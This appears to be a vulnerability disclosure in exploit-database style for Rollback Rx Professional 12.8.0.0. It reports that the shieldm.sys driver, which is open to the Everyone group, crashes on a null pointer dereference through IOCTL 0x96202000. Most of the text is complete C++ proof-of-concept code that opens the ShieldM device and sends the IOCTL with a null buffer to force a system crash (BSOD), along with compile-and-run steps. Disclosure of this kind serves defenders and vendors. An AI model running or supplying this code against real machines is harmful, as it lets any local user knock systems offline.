# Title: Rollback Rx Professional 12.8.0.0 - "shieldm.sys" Null Pointer Dereference
# Author: Can Burak Dönmez
# Date: 14.04.2025
# Vendor: https://horizondatasys.com
# Affected Version: 12.8.0.0
# Tested: Win10 Pro x64

# Vuln. Description:
----------------------------------------------
In Rollback Rx Professional 12.8.0.0 , the driver file (shieldm.sys - this version 12.8.0.0) allows local users to cause a denial of service (BSOD) or possibly have unspecified other impact because of null pointer dereference from IOCtl 0x96202000. At the same time, the drive is accessible to all users in the "Everyone" group. 

# Technical details and step by step Proof of Concept's (PoC):
----------------------------------------------
    1 - Install the driver from the installation directory with OSR Loader or sc create, or install Rollback Rx Professional 12.8.0.0 directly.
    2 - Compile the PoC code written in C++ as release on VS 2022. 
    3 - Run PoC. You will see the system crash/BSOD.


PoC Code: 
----------------------------------------------
#include <windows.h>
#include <iostream>

const std::wstring driverDevice = L"\\\\.\\ShieldM"; // Shieldm.sys symbolic link path
const DWORD ioCTL = 0x96202000;  // IOCTL 0x96202000

int main() {
    std::cout << "Rollback Rx Professional 12.8.0.0 Shieldm.sys Null Pointer Dereference - PoC" << std::endl;
    HANDLE hDevice = CreateFile(driverDevice.c_str(),
        GENERIC_READ | GENERIC_WRITE,
        0,
        nullptr,
        OPEN_EXISTING,
        0,
        nullptr);

    if (hDevice == INVALID_HANDLE_VALUE) {
        std::cerr << "Failed, please load driver and check again. Exit... " << GetLastError() << std::endl;
        return 1;
    }

    void* inputBuffer = nullptr; // Null input buffer
    DWORD inputBufferSize = 0;

    DWORD bytesReturned;
    BOOL result = DeviceIoControl(hDevice,
        ioCTL,
        inputBuffer,
        inputBufferSize,
        nullptr,
        0,
        &bytesReturned,
        nullptr);

    if (!result) {
        std::cerr << "DeviceIoControl failed. Exit... " << GetLastError() << std::endl;
    }

    CloseHandle(hDevice);

    return 0;
}
----------------------------------------------

# Credit: 
----------------------------------------------
Secunnix Cyber Technologies - secunnix.com